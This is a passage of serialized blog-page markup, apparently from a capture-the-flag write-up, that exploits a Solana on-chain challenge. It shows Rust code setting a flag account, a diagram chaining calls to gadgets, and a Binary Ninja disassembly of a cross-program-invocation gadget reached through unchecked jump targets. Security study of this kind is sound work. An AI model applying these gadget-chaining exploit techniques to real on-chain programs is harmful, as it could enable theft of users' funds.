",{"type":24,"tag":147,"props":49188,"children":49189},{"style":218},[49190],{"type":29,"value":9619},{"type":24,"tag":147,"props":49192,"children":49193},{"style":235},[49194],{"type":29,"value":12362},{"type":24,"tag":147,"props":49196,"children":49197},{"class":149,"line":435},[49198,49202,49206,49210,49214,49218,49223,49227,49231,49235],{"type":24,"tag":147,"props":49199,"children":49200},{"style":235},[49201],{"type":29,"value":49156},{"type":24,"tag":147,"props":49203,"children":49204},{"style":241},[49205],{"type":29,"value":9106},{"type":24,"tag":147,"props":49207,"children":49208},{"style":229},[49209],{"type":29,"value":20734},{"type":24,"tag":147,"props":49211,"children":49212},{"style":235},[49213],{"type":29,"value":480},{"type":24,"tag":147,"props":49215,"children":49216},{"style":241},[49217],{"type":29,"value":244},{"type":24,"tag":147,"props":49219,"children":49220},{"style":247},[49221],{"type":29,"value":49222},"flag_pda_ai",{"type":24,"tag":147,"props":49224,"children":49225},{"style":241},[49226],{"type":29,"value":87},{"type":24,"tag":147,"props":49228,"children":49229},{"style":235},[49230],{"type":29,"value":49186},{"type":24,"tag":147,"props":49232,"children":49233},{"style":218},[49234],{"type":29,"value":9619},{"type":24,"tag":147,"props":49236,"children":49237},{"style":235},[49238],{"type":29,"value":12362},{"type":24,"tag":147,"props":49240,"children":49241},{"class":149,"line":444},[49242],{"type":24,"tag":147,"props":49243,"children":49244},{"style":235},[49245],{"type":29,"value":49246},"        ],\n",{"type":24,"tag":147,"props":49248,"children":49249},{"class":149,"line":452},[49250],{"type":24,"tag":147,"props":49251,"children":49252},{"style":235},[49253],{"type":29,"value":49254},"    );\n",{"type":24,"tag":147,"props":49256,"children":49257},{"class":149,"line":461},[49258,49262],{"type":24,"tag":147,"props":49259,"children":49260},{"style":229},[49261],{"type":29,"value":46724},{"type":24,"tag":147,"props":49263,"children":49264},{"style":235},[49265],{"type":29,"value":9088},{"type":24,"tag":147,"props":49267,"children":49268},{"class":149,"line":469},[49269,49273,49278],{"type":24,"tag":147,"props":49270,"children":49271},{"style":241},[49272],{"type":29,"value":9096},{"type":24,"tag":147,"props":49274,"children":49275},{"style":247},[49276],{"type":29,"value":49277},"instruction",{"type":24,"tag":147,"props":49279,"children":49280},{"style":235},[49281],{"type":29,"value":1549},{"type":24,"tag":147,"props":49283,"children":49284},{"class":149,"line":508},[49285,49289],{"type":24,"tag":147,"props":49286,"children":49287},{"style":241},[49288],{"type":29,"value":9096},{"type":24,"tag":147,"props":49290,"children":49291},{"style":235},[49292],{"type":29,"value":49148},{"type":24,"tag":147,"props":49294,"children":49295},{"class":149,"line":572},[49296,49301,49305,49309],{"type":24,"tag":147,"props":49297,"children":49298},{"style":247},[49299],{"type":29,"value":49300},"            user_ai",{"type":24,"tag":147,"props":49302,"children":49303},{"style":241},[49304],{"type":29,"value":87},{"type":24,"tag":147,"props":49306,"children":49307},{"style":229},[49308],{"type":29,"value":21032},{"type":24,"tag":147,"props":49310,"children":49311},{"style":235},[49312],{"type":29,"value":9116},{"type":24,"tag":147,"props":49314,"children":49315},{"class":149,"line":591},[49316,49321,49325,49329],{"type":24,"tag":147,"props":49317,"children":49318},{"style":247},[49319],{"type":29,"value":49320},"            flag_pda_ai",{"type":24,"tag":147,"props":49322,"children":49323},{"style":241},[49324],{"type":29,"value":87},{"type":24,"tag":147,"props":49326,"children":49327},{"style":229},[49328],{"type":29,"value":21032},{"type":24,"tag":147,"props":49330,"children":49331},{"style":235},[49332],{"type":29,"value":9116},{"type":24,"tag":147,"props":49334,"children":49335},{"class":149,"line":632},[49336],{"type":24,"tag":147,"props":49337,"children":49338},{"style":235},[49339],{"type":29,"value":49246},{"type":24,"tag":147,"props":49341,"children":49342},{"class":149,"line":659},[49343,49347,49351,49355,49359,49363,49367,49371],{"type":24,"tag":147,"props":49344,"children":49345},{"style":241},[49346],{"type":29,"value":9096},{"type":24,"tag":147,"props":49348,"children":49349},{"style":235},[49350],{"type":29,"value":9358},{"type":24,"tag":147,"props":49352,"children":49353},{"style":241},[49354],{"type":29,"value":485},{"type":24,"tag":147,"props":49356,"children":49357},{"style":235},[49358],{"type":29,"value":9358},{"type":24,"tag":147,"props":49360,"children":49361},{"style":3534},[49362],{"type":29,"value":48219},{"type":24,"tag":147,"props":49364,"children":49365},{"style":241},[49366],{"type":29,"value":87},{"type":24,"tag":147,"props":49368,"children":49369},{"style":229},[49370],{"type":29,"value":48228},{"type":24,"tag":147,"props":49372,"children":49373},{"style":235},[49374],{"type":29,"value":49375},"()]],\n",{"type":24,"tag":147,"props":49377,"children":49378},{"class":149,"line":684},[49379,49383,49387],{"type":24,"tag":147,"props":49380,"children":49381},{"style":235},[49382],{"type":29,"value":9281},{"type":24,"tag":147,"props":49384,"children":49385},{"style":241},[49386],{"type":29,"value":8785},{"type":24,"tag":147,"props":49388,"children":49389},{"style":235},[49390],{"type":29,"value":432},{"type":24,"tag":147,"props":49392,"children":49393},{"class":149,"line":715},[49394],{"type":24,"tag":147,"props":49395,"children":49396},{"emptyLinePlaceholder":16},[49397],{"type":29,"value":314},{"type":24,"tag":147,"props":49399,"children":49400},{"class":149,"line":744},[49401],{"type":24,"tag":147,"props":49402,"children":49403},{"style":154},[49404],{"type":29,"value":49405},"    // Step 2: Write 0x4337 to the first 8 bytes of the account\n",{"type":24,"tag":147,"props":49407,"children":49408},{"class":149,"line":784},[49409,49414,49418,49422,49426,49430,49434,49438,49442,49446,49450,49455,49459,49463,49468,49472,49476,49481],{"type":24,"tag":147,"props":49410,"children":49411},{"style":247},[49412],{"type":29,"value":49413},"    flag_pda_ai",{"type":24,"tag":147,"props":49415,"children":49416},{"style":241},[49417],{"type":29,"value":87},{"type":24,"tag":147,"props":49419,"children":49420},{"style":229},[49421],{"type":29,"value":19490},{"type":24,"tag":147,"props":49423,"children":49424},{"style":235},[49425],{"type":29,"value":19495},{"type":24,"tag":147,"props":49427,"children":49428},{"style":241},[49429],{"type":29,"value":8785},{"type":24,"tag":147,"props":49431,"children":49432},{"style":235},[49433],{"type":29,"value":9358},{"type":24,"tag":147,"props":49435,"children":49436},{"style":241},[49437],{"type":29,"value":8683},{"type":24,"tag":147,"props":49439,"children":49440},{"style":705},[49441],{"type":29,"value":9700},{"type":24,"tag":147,"props":49443,"children":49444},{"style":235},[49445],{"type":29,"value":21023},{"type":24,"tag":147,"props":49447,"children":49448},{"style":241},[49449],{"type":29,"value":87},{"type":24,"tag":147,"props":49451,"children":49452},{"style":229},[49453],{"type":29,"value":49454},"copy_from_slice",{"type":24,"tag":147,"props":49456,"children":49457},{"style":235},[49458],{"type":29,"value":480},{"type":24,"tag":147,"props":49460,"children":49461},{"style":241},[49462],{"type":29,"value":485},{"type":24,"tag":147,"props":49464,"children":49465},{"style":705},[49466],{"type":29,"value":49467},"0x4337",{"type":24,"tag":147,"props":49469,"children":49470},{"style":9044},[49471],{"type":29,"value":13668},{"type":24,"tag":147,"props":49473,"children":49474},{"style":241},[49475],{"type":29,"value":87},{"type":24,"tag":147,"props":49477,"children":49478},{"style":229},[49479],{"type":29,"value":49480},"to_le_bytes",{"type":24,"tag":147,"props":49482,"children":49483},{"style":235},[49484],{"type":29,"value":21037},{"type":24,"tag":147,"props":49486,"children":49487},{"class":149,"line":792},[49488],{"type":24,"tag":147,"props":49489,"children":49490},{"emptyLinePlaceholder":16},[49491],{"type":29,"value":314},{"type":24,"tag":147,"props":49493,"children":49494},{"class":149,"line":805},[49495,49499],{"type":24,"tag":147,"props":49496,"children":49497},{"style":9044},[49498],{"type":29,"value":19947},{"type":24,"tag":147,"props":49500,"children":49501},{"style":235},[49502],{"type":29,"value":19952},{"type":24,"tag":147,"props":49504,"children":49505},{"class":149,"line":813},[49506],{"type":24,"tag":147,"props":49507,"children":49508},{"style":235},[49509],{"type":29,"value":827},{"type":24,"tag":25,"props":49511,"children":49512},{},[49513],{"type":29,"value":49514},"To test this theory, we can execute the program above inside the test environment, and see if we can get the flag:",{"type":24,"tag":25,"props":49516,"children":49517},{},[49518],{"type":24,"tag":63,"props":49519,"children":49522},{"alt":49520,"src":49521},"Screenshot","/posts/jumping-around-in-the-vm/screenshot.png",[],{"type":24,"tag":25,"props":49524,"children":49525},{},[49526],{"type":29,"value":49527},"It works! Now we \"just\" need to find a way to execute the program above, by leveraging the single Instruction call to the program. This is easier said than done. The next section will dive into the details of the Solana VM to understand how we can achieve this.",{"type":24,"tag":32,"props":49529,"children":49531},{"id":49530},"solution-implementation",[49532],{"type":29,"value":49533},"Solution Implementation",{"type":24,"tag":25,"props":49535,"children":49536},{},[49537,49539,49544],{"type":29,"value":49538},"Now that we know what we need to do, let's look at how we can actually do it. We have to code the above program, by chaining together multiple ",{"type":24,"tag":80,"props":49540,"children":49542},{"className":49541},[],[49543],{"type":29,"value":41282},{"type":29,"value":49545}," invocations:",{"type":24,"tag":137,"props":49547,"children":49551},{"className":49548,"code":49549,"language":49550,"meta":7,"style":7},"language-mermaid shiki shiki-themes slack-dark","graph LR\n    A[0: entrypoint] --> B[1: process_instruction]\n    B --> C[2: process]\n    C --> D[3: gadget1]\n    C --> E[3: process]\n    E --> F[4: gadget2]\n    E --> G[...]\n","mermaid",[49552],{"type":24,"tag":80,"props":49553,"children":49554},{"__ignoreMap":7},[49555,49563,49571,49579,49587,49595,49603],{"type":24,"tag":147,"props":49556,"children":49557},{"class":149,"line":150},[49558],{"type":24,"tag":147,"props":49559,"children":49560},{},[49561],{"type":29,"value":49562},"graph LR\n",{"type":24,"tag":147,"props":49564,"children":49565},{"class":149,"line":160},[49566],{"type":24,"tag":147,"props":49567,"children":49568},{},[49569],{"type":29,"value":49570},"    A[0: entrypoint] --> B[1: process_instruction]\n",{"type":24,"tag":147,"props":49572,"children":49573},{"class":149,"line":169},[49574],{"type":24,"tag":147,"props":49575,"children":49576},{},[49577],{"type":29,"value":49578},"    B --> C[2: process]\n",{"type":24,"tag":147,"props":49580,"children":49581},{"class":149,"line":178},[49582],{"type":24,"tag":147,"props":49583,"children":49584},{},[49585],{"type":29,"value":49586},"    C --> D[3: gadget1]\n",{"type":24,"tag":147,"props":49588,"children":49589},{"class":149,"line":187},[49590],{"type":24,"tag":147,"props":49591,"children":49592},{},[49593],{"type":29,"value":49594},"    C --> E[3: process]\n",{"type":24,"tag":147,"props":49596,"children":49597},{"class":149,"line":196},[49598],{"type":24,"tag":147,"props":49599,"children":49600},{},[49601],{"type":29,"value":49602},"    E --> F[4: gadget2]\n",{"type":24,"tag":147,"props":49604,"children":49605},{"class":149,"line":205},[49606],{"type":24,"tag":147,"props":49607,"children":49608},{},[49609],{"type":29,"value":49610},"    E --> G[...]\n",{"type":24,"tag":25,"props":49612,"children":49613},{},[49614],{"type":29,"value":49615},"What are those gadgets? The Solana VM does not enforce that the target of a jump is a valid one, meaning that it's possible to jump to arbitrary addresses!",{"type":24,"tag":25,"props":49617,"children":49618},{},[49619,49621,49627],{"type":29,"value":49620},"To mimic the execution of our solution, we need a gadget that lets us CPI into system_program, with parameters we control. How do we obtain those? We can use ",{"type":24,"tag":2773,"props":49622,"children":49624},{"href":46083,"rel":49623},[2777],[49625],{"type":29,"value":49626},"Binary Ninja",{"type":29,"value":49628}," to find a suitable gadget for this.",{"type":24,"tag":25,"props":49630,"children":49631},{},[49632,49634,49641],{"type":29,"value":49633},"Before throwing the on-chain program to binja, it's useful to find a way to get symbols for it. One solution is to patch the cargo-build-sbf command to ",{"type":24,"tag":2773,"props":49635,"children":49638},{"href":49636,"rel":49637},"https://github.com/solana-labs/solana/blob/4ee5078e5ffdfff36d3f7920217788e2892c1a85/sdk/cargo-build-sbf/src/main.rs#L789",[2777],[49639],{"type":29,"value":49640},"skip the strip pass",{"type":29,"value":87},{"type":24,"tag":43,"props":49643,"children":49645},{"id":49644},"cpi-gadget",[49646],{"type":29,"value":49647},"CPI Gadget",{"type":24,"tag":25,"props":49649,"children":49650},{},[49651,49653,49658,49660,49667,49669,49675],{"type":29,"value":49652},"Looking at the program source, one idea is to look for the cpi gadget around the ",{"type":24,"tag":80,"props":49654,"children":49656},{"className":49655},[],[49657],{"type":29,"value":43893},{"type":29,"value":49659}," function. This function calls into the solana sdk's function ",{"type":24,"tag":2773,"props":49661,"children":49664},{"href":49662,"rel":49663},"https://github.com/solana-labs/solana/blob/v1.17.4/sdk/program/src/program.rs#L295-L310",[2777],[49665],{"type":29,"value":49666},"invoke_signed_unchecked",{"type":29,"value":49668},", yielding a powerful gadget at the address ",{"type":24,"tag":80,"props":49670,"children":49672},{"className":49671},[],[49673],{"type":29,"value":49674},"0x100001ba8",{"type":29,"value":87},{"type":24,"tag":137,"props":49677,"children":49679},{"className":8614,"code":49678,"language":8613,"meta":7,"style":7},"solana_program::program::invoke_signed_unchecked\n100001ba8  79a278ff00000000   ldxdw r2, [r10-136] {var_88}\n100001bb0  79a380ff00000000   ldxdw r3, [r10-128] {var_80}\n100001bb8  79a468ff00000000   ldxdw r4, [r10-152] {var_98}\n100001bc0  79a570ff00000000   ldxdw r5, [r10-144] {var_90}\n100001bc8  8520000020100000   call sol_invoke_signed_rust\n100001bd0  5500040000000000   jne \u003C+4> r0, 0x0\n\n100001bd8  b701000018000000   mov r1, 0x18\n100001be0  79a288ff00000000   ldxdw r2, [r10-120] {var_78}\n100001be8  6312000000000000   stxw [r2-0], r1  {0x18}\n100001bf0  0500030000000000   ja \u003C+3>\n\n100001bf8  79a188ff00000000   ldxdw r1, [r10-120] {var_78}\n100001c00  bf02000000000000   mov r2, r0\n100001c08  8510000075000000   call _ZN94_$LT$solana_program...$u64$GT$$GT$4from17ha0d289b72861b06dE\n\n100001c10  79a2b8ff00000000   ldxdw r2, [r10-72] {var_48}\n100001c18  1502040000000000   jeq \u003C+4> r2, 0x0\n\n100001c20  2702000022000000   mul r2, 0x22\n100001c28  79a1b0ff00000000   ldxdw r1, [r10-80] {var_50}\n100001c30  b703000001000000   mov r3, 0x1\n100001c38  8510000003feffff   call __rust_dealloc\n\n100001c40  79a2d0ff00000000   ldxdw r2, [r10-48] {var_30}\n100001c48  1502030000000000   jeq \u003C+3> r2, 0x0\n\n100001c50  79a1c8ff00000000   ldxdw r1, [r10-56] {var_38}\n100001c58  b703000001000000   mov r3, 0x1\n100001c60  85100000fefdffff   call __rust_dealloc\n\n100001c68  9500000000000000   exit {__return_addr}\n",[49680],{"type":24,"tag":80,"props":49681,"children":49682},{"__ignoreMap":7},[49683,49708,49764,49815,49867,49919,49942,49990,49997,50029,50080,50138,50172,50179,50228,50258,50333,50340,50391,50437,50444,50475,50526,50556,50578,50585,50636,50681,50688,50739,50767,50788,50795],{"type":24,"tag":147,"props":49684,"children":49685},{"class":149,"line":150},[49686,49690,49694,49699,49703],{"type":24,"tag":147,"props":49687,"children":49688},{"style":235},[49689],{"type":29,"value":19270},{"type":24,"tag":147,"props":49691,"children":49692},{"style":241},[49693],{"type":29,"value":9106},{"type":24,"tag":147,"props":49695,"children":49696},{"style":235},[49697],{"type":29,"value":49698},"program",{"type":24,"tag":147,"props":49700,"children":49701},{"style":241},[49702],{"type":29,"value":9106},{"type":24,"tag":147,"props":49704,"children":49705},{"style":247},[49706],{"type":29,"value":49707},"invoke_signed_unchecked\n",{"type":24,"tag":147,"props":49709,"children":49710},{"class":149,"line":160},[49711,49716,49721,49726,49731,49736,49741,49745,49750,49755,49760],{"type":24,"tag":147,"props":49712,"children":49713},{"style":247},[49714],{"type":29,"value":49715},"100001ba8",{"type":24,"tag":147,"props":49717,"children":49718},{"style":247},[49719],{"type":29,"value":49720},"  79a278ff00000000",{"type":24,"tag":147,"props":49722,"children":49723},{"style":247},[49724],{"type":29,"value":49725},"   ldxdw",{"type":24,"tag":147,"props":49727,"children":49728},{"style":247},[49729],{"type":29,"value":49730}," r2",{"type":24,"tag":147,"props":49732,"children":49733},{"style":235},[49734],{"type":29,"value":49735},", [",{"type":24,"tag":147,"props":49737,"children":49738},{"style":247},[49739],{"type":29,"value":49740},"r10",{"type":24,"tag":147,"props":49742,"children":49743},{"style":241},[49744],{"type":29,"value":3470},{"type":24,"tag":147,"props":49746,"children":49747},{"style":705},[49748],{"type":29,"value":49749},"136",{"type":24,"tag":147,"props":49751,"children":49752},{"style":235},[49753],{"type":29,"value":49754},"] {",{"type":24,"tag":147,"props":49756,"children":49757},{"style":247},[49758],{"type":29,"value":49759},"var_88",{"type":24,"tag":147,"props":49761,"children":49762},{"style":235},[49763],{"type":29,"value":827},{"type":24,"tag":147,"props":49765,"children":49766},{"class":149,"line":169},[49767,49772,49777,49781,49786,49790,49794,49798,49802,49806,49811],{"type":24,"tag":147,"props":49768,"children":49769},{"style":247},[49770],{"type":29,"value":49771},"100001bb0",{"type":24,"tag":147,"props":49773,"children":49774},{"style":247},[49775],{"type":29,"value":49776},"  79a380ff00000000",{"type":24,"tag":147,"props":49778,"children":49779},{"style":247},[49780],{"type":29,"value":49725},{"type":24,"tag":147,"props":49782,"children":49783},{"style":247},[49784],{"type":29,"value":49785}," r3",{"type":24,"tag":147,"props":49787,"children":49788},{"style":235},[49789],{"type":29,"value":49735},{"type":24,"tag":147,"props":49791,"children":49792},{"style":247},[49793],{"type":29,"value":49740},{"type":24,"tag":147,"props":49795,"children":49796},{"style":241},[49797],{"type":29,"value":3470},{"type":24,"tag":147,"props":49799,"children":49800},{"style":705},[49801],{"type":29,"value":35448},{"type":24,"tag":147,"props":49803,"children":49804},{"style":235},[49805],{"type":29,"value":49754},{"type":24,"tag":147,"props":49807,"children":49808},{"style":247},[49809],{"type":29,"value":49810},"var_80",{"type":24,"tag":147,"props":49812,"children":49813},{"style":235},[49814],{"type":29,"value":827},{"type":24,"tag":147,"props":49816,"children":49817},{"class":149,"line":178},[49818,49823,49828,49832,49837,49841,49845,49849,49854,49858,49863],{"type":24,"tag":147,"props":49819,"children":49820},{"style":247},[49821],{"type":29,"value":49822},"100001bb8",{"type":24,"tag":147,"props":49824,"children":49825},{"style":247},[49826],{"type":29,"value":49827},"  79a468ff00000000",{"type":24,"tag":147,"props":49829,"children":49830},{"style":247},[49831],{"type":29,"value":49725},{"type":24,"tag":147,"props":49833,"children":49834},{"style":247},[49835],{"type":29,"value":49836}," r4",{"type":24,"tag":147,"props":49838,"children":49839},{"style":235},[49840],{"type":29,"value":49735},{"type":24,"tag":147,"props":49842,"children":49843},{"style":247},[49844],{"type":29,"value":49740},{"type":24,"tag":147,"props":49846,"children":49847},{"style":241},[49848],{"type":29,"value":3470},{"type":24,"tag":147,"props":49850,"children":49851},{"style":705},[49852],{"type":29,"value":49853},"152",{"type":24,"tag":147,"props":49855,"children":49856},{"style":235},[49857],{"type":29,"value":49754},{"type":24,"tag":147,"props":49859,"children":49860},{"style":247},[49861],{"type":29,"value":49862},"var_98",{"type":24,"tag":147,"props":49864,"children":49865},{"style":235},[49866],{"type":29,"value":827},{"type":24,"tag":147,"props":49868,"children":49869},{"class":149,"line":187},[49870,49875,49880,49884,49889,49893,49897,49901,49906,49910,49915],{"type":24,"tag":147,"props":49871,"children":49872},{"style":247},[49873],{"type":29,"value":49874},"100001bc0",{"type":24,"tag":147,"props":49876,"children":49877},{"style":247},[49878],{"type":29,"value":49879},"  79a570ff00000000",{"type":24,"tag":147,"props":49881,"children":49882},{"style":247},[49883],{"type":29,"value":49725},{"type":24,"tag":147,"props":49885,"children":49886},{"style":247},[49887],{"type":29,"value":49888}," r5",{"type":24,"tag":147,"props":49890,"children":49891},{"style":235},[49892],{"type":29,"value":49735},{"type":24,"tag":147,"props":49894,"children":49895},{"style":247},[49896],{"type":29,"value":49740},{"type":24,"tag":147,"props":49898,"children":49899},{"style":241},[49900],{"type":29,"value":3470},{"type":24,"tag":147,"props":49902,"children":49903},{"style":705},[49904],{"type":29,"value":49905},"144",{"type":24,"tag":147,"props":49907,"children":49908},{"style":235},[49909],{"type":29,"value":49754},{"type":24,"tag":147,"props":49911,"children":49912},{"style":247},[49913],{"type":29,"value":49914},"var_90",{"type":24,"tag":147,"props":49916,"children":49917},{"style":235},[49918],{"type":29,"value":827},{"type":24,"tag":147,"props":49920,"children":49921},{"class":149,"line":196},[49922,49927,49932,49937],{"type":24,"tag":147,"props":49923,"children":49924},{"style":247},[49925],{"type":29,"value":49926},"100001bc8",{"type":24,"tag":147,"props":49928,"children":49929},{"style":705},[49930],{"type":29,"value":49931},"  8520000020100000",{"type":24,"tag":147,"props":49933,"children":49934},{"style":247},[49935],{"type":29,"value":49936},"   call",{"type":24,"tag":147,"props":49938,"children":49939},{"style":247},[49940],{"type":29,"value":49941}," sol_invoke_signed_rust\n",{"type":24,"tag":147,"props":49943,"children":49944},{"class":149,"line":205},[49945,49950,49955,49960,49964,49968,49972,49976,49981,49985],{"type":24,"tag":147,"props":49946,"children":49947},{"style":247},[49948],{"type":29,"value":49949},"100001bd0",{"type":24,"tag":147,"props":49951,"children":49952},{"style":705},[49953],{"type":29,"value":49954},"  5500040000000000",{"type":24,"tag":147,"props":49956,"children":49957},{"style":247},[49958],{"type":29,"value":49959},"   jne",{"type":24,"tag":147,"props":49961,"children":49962},{"style":235},[49963],{"type":29,"value":14344},{"type":24,"tag":147,"props":49965,"children":49966},{"style":241},[49967],{"type":29,"value":624},{"type":24,"tag":147,"props":49969,"children":49970},{"style":705},[49971],{"type":29,"value":23134},{"type":24,"tag":147,"props":49973,"children":49974},{"style":235},[49975],{"type":29,"value":11445},{"type":24,"tag":147,"props":49977,"children":49978},{"style":247},[49979],{"type":29,"value":49980},"r0",{"type":24,"tag":147,"props":49982,"children":49983},{"style":235},[49984],{"type":29,"value":546},{"type":24,"tag":147,"props":49986,"children":49987},{"style":705},[49988],{"type":29,"value":49989},"0x0\n",{"type":24,"tag":147,"props":49991,"children":49992},{"class":149,"line":214},[49993],{"type":24,"tag":147,"props":49994,"children":49995},{"emptyLinePlaceholder":16},[49996],{"type":29,"value":314},{"type":24,"tag":147,"props":49998,"children":49999},{"class":149,"line":272},[50000,50005,50010,50015,50020,50024],{"type":24,"tag":147,"props":50001,"children":50002},{"style":247},[50003],{"type":29,"value":50004},"100001bd8",{"type":24,"tag":147,"props":50006,"children":50007},{"style":247},[50008],{"type":29,"value":50009},"  b701000018000000",{"type":24,"tag":147,"props":50011,"children":50012},{"style":247},[50013],{"type":29,"value":50014},"   mov",{"type":24,"tag":147,"props":50016,"children":50017},{"style":247},[50018],{"type":29,"value":50019}," r1",{"type":24,"tag":147,"props":50021,"children":50022},{"style":235},[50023],{"type":29,"value":546},{"type":24,"tag":147,"props":50025,"children":50026},{"style":705},[50027],{"type":29,"value":50028},"0x18\n",{"type":24,"tag":147,"props":50030,"children":50031},{"class":149,"line":281},[50032,50037,50042,50046,50050,50054,50058,50062,50067,50071,50076],{"type":24,"tag":147,"props":50033,"children":50034},{"style":247},[50035],{"type":29,"value":50036},"100001be0",{"type":24,"tag":147,"props":50038,"children":50039},{"style":247},[50040],{"type":29,"value":50041},"  79a288ff00000000",{"type":24,"tag":147,"props":50043,"children":50044},{"style":247},[50045],{"type":29,"value":49725},{"type":24,"tag":147,"props":50047,"children":50048},{"style":247},[50049],{"type":29,"value":49730},{"type":24,"tag":147,"props":50051,"children":50052},{"style":235},[50053],{"type":29,"value":49735},{"type":24,"tag":147,"props":50055,"children":50056},{"style":247},[50057],{"type":29,"value":49740},{"type":24,"tag":147,"props":50059,"children":50060},{"style":241},[50061],{"type":29,"value":3470},{"type":24,"tag":147,"props":50063,"children":50064},{"style":705},[50065],{"type":29,"value":50066},"120",{"type":24,"tag":147,"props":50068,"children":50069},{"style":235},[50070],{"type":29,"value":49754},{"type":24,"tag":147,"props":50072,"children":50073},{"style":247},[50074],{"type":29,"value":50075},"var_78",{"type":24,"tag":147,"props":50077,"children":50078},{"style":235},[50079],{"type":29,"value":827},{"type":24,"tag":147,"props":50081,"children":50082},{"class":149,"line":299},[50083,50088,50093,50098,50102,50107,50111,50115,50119,50124,50129,50134],{"type":24,"tag":147,"props":50084,"children":50085},{"style":247},[50086],{"type":29,"value":50087},"100001be8",{"type":24,"tag":147,"props":50089,"children":50090},{"style":705},[50091],{"type":29,"value":50092},"  6312000000000000",{"type":24,"tag":147,"props":50094,"children":50095},{"style":247},[50096],{"type":29,"value":50097},"   stxw",{"type":24,"tag":147,"props":50099,"children":50100},{"style":235},[50101],{"type":29,"value":28634},{"type":24,"tag":147,"props":50103,"children":50104},{"style":247},[50105],{"type":29,"value":50106},"r2",{"type":24,"tag":147,"props":50108,"children":50109},{"style":241},[50110],{"type":29,"value":3470},{"type":24,"tag":147,"props":50112,"children":50113},{"style":705},[50114],{"type":29,"value":3173},{"type":24,"tag":147,"props":50116,"children":50117},{"style":235},[50118],{"type":29,"value":28662},{"type":24,"tag":147,"props":50120,"children":50121},{"style":247},[50122],{"type":29,"value":50123},"r1",{"type":24,"tag":147,"props":50125,"children":50126},{"style":235},[50127],{"type":29,"value":50128},"  {",{"type":24,"tag":147,"props":50130,"children":50131},{"style":705},[50132],{"type":29,"value":50133},"0x18",{"type":24,"tag":147,"props":50135,"children":50136},{"style":235},[50137],{"type":29,"value":827},{"type":24,"tag":147,"props":50139,"children":50140},{"class":149,"line":308},[50141,50146,50151,50156,50160,50164,50168],{"type":24,"tag":147,"props":50142,"children":50143},{"style":247},[50144],{"type":29,"value":50145},"100001bf0",{"type":24,"tag":147,"props":50147,"children":50148},{"style":705},[50149],{"type":29,"value":50150},"  0500030000000000",{"type":24,"tag":147,"props":50152,"children":50153},{"style":247},[50154],{"type":29,"value":50155},"   ja",{"type":24,"tag":147,"props":50157,"children":50158},{"style":235},[50159],{"type":29,"value":14344},{"type":24,"tag":147,"props":50161,"children":50162},{"style":241},[50163],{"type":29,"value":624},{"type":24,"tag":147,"props":50165,"children":50166},{"style":705},[50167],{"type":29,"value":22901},{"type":24,"tag":147,"props":50169,"children":50170},{"style":235},[50171],{"type":29,"value":11617},{"type":24,"tag":147,"props":50173,"children":50174},{"class":149,"line":317},[50175],{"type":24,"tag":147,"props":50176,"children":50177},{"emptyLinePlaceholder":16},[50178],{"type":29,"value":314},{"type":24,"tag":147,"props":50180,"children":50181},{"class":149,"line":332},[50182,50187,50192,50196,50200,50204,50208,50212,50216,50220,50224],{"type":24,"tag":147,"props":50183,"children":50184},{"style":247},[50185],{"type":29,"value":50186},"100001bf8",{"type":24,"tag":147,"props":50188,"children":50189},{"style":247},[50190],{"type":29,"value":50191},"  79a188ff00000000",{"type":24,"tag":147,"props":50193,"children":50194},{"style":247},[50195],{"type":29,"value":49725},{"type":24,"tag":147,"props":50197,"children":50198},{"style":247},[50199],{"type":29,"value":50019},{"type":24,"tag":147,"props":50201,"children":50202},{"style":235},[50203],{"type":29,"value":49735},{"type":24,"tag":147,"props":50205,"children":50206},{"style":247},[50207],{"type":29,"value":49740},{"type":24,"tag":147,"props":50209,"children":50210},{"style":241},[50211],{"type":29,"value":3470},{"type":24,"tag":147,"props":50213,"children":50214},{"style":705},[50215],{"type":29,"value":50066},{"type":24,"tag":147,"props":50217,"children":50218},{"style":235},[50219],{"type":29,"value":49754},{"type":24,"tag":147,"props":50221,"children":50222},{"style":247},[50223],{"type":29,"value":50075},{"type":24,"tag":147,"props":50225,"children":50226},{"style":235},[50227],{"type":29,"value":827},{"type":24,"tag":147,"props":50229,"children":50230},{"class":149,"line":350},[50231,50236,50241,50245,50249,50253],{"type":24,"tag":147,"props":50232,"children":50233},{"style":247},[50234],{"type":29,"value":50235},"100001c00",{"type":24,"tag":147,"props":50237,"children":50238},{"style":247},[50239],{"type":29,"value":50240},"  bf02000000000000",{"type":24,"tag":147,"props":50242,"children":50243},{"style":247},[50244],{"type":29,"value":50014},{"type":24,"tag":147,"props":50246,"children":50247},{"style":247},[50248],{"type":29,"value":49730},{"type":24,"tag":147,"props":50250,"children":50251},{"style":235},[50252],{"type":29,"value":546},{"type":24,"tag":147,"props":50254,"children":50255},{"style":247},[50256],{"type":29,"value":50257},"r0\n",{"type":24,"tag":147,"props":50259,"children":50260},{"class":149,"line":358},[50261,50266,50271,50275,50280,50284,50289,50293,50297,50302,50306,50310,50315,50320,50324,50328],{"type":24,"tag":147,"props":50262,"children":50263},{"style":247},[50264],{"type":29,"value":50265},"100001c08",{"type":24,"tag":147,"props":50267,"children":50268},{"style":705},[50269],{"type":29,"value":50270},"  8510000075000000",{"type":24,"tag":147,"props":50272,"children":50273},{"style":247},[50274],{"type":29,"value":49936},{"type":24,"tag":147,"props":50276,"children":50277},{"style":9044},[50278],{"type":29,"value":50279}," _ZN94_",{"type":24,"tag":147,"props":50281,"children":50282},{"style":241},[50283],{"type":29,"value":15909},{"type":24,"tag":147,"props":50285,"children":50286},{"style":9044},[50287],{"type":29,"value":50288},"LT",{"type":24,"tag":147,"props":50290,"children":50291},{"style":241},[50292],{"type":29,"value":15909},{"type":24,"tag":147,"props":50294,"children":50295},{"style":247},[50296],{"type":29,"value":19270},{"type":24,"tag":147,"props":50298,"children":50299},{"style":241},[50300],{"type":29,"value":50301},"...$",{"type":24,"tag":147,"props":50303,"children":50304},{"style":247},[50305],{"type":29,"value":13668},{"type":24,"tag":147,"props":50307,"children":50308},{"style":241},[50309],{"type":29,"value":15909},{"type":24,"tag":147,"props":50311,"children":50312},{"style":9044},[50313],{"type":29,"value":50314},"GT",{"type":24,"tag":147,"props":50316,"children":50317},{"style":241},[50318],{"type":29,"value":50319},"$$",{"type":24,"tag":147,"props":50321,"children":50322},{"style":9044},[50323],{"type":29,"value":50314},{"type":24,"tag":147,"props":50325,"children":50326},{"style":241},[50327],{"type":29,"value":15909},{"type":24,"tag":147,"props":50329,"children":50330},{"style":235},[50331],{"type":29,"value":50332},"4from17ha0d289b72861b06dE\n",{"type":24,"tag":147,"props":50334,"children":50335},{"class":149,"line":397},[50336],{"type":24,"tag":147,"props":50337,"children":50338},{"empty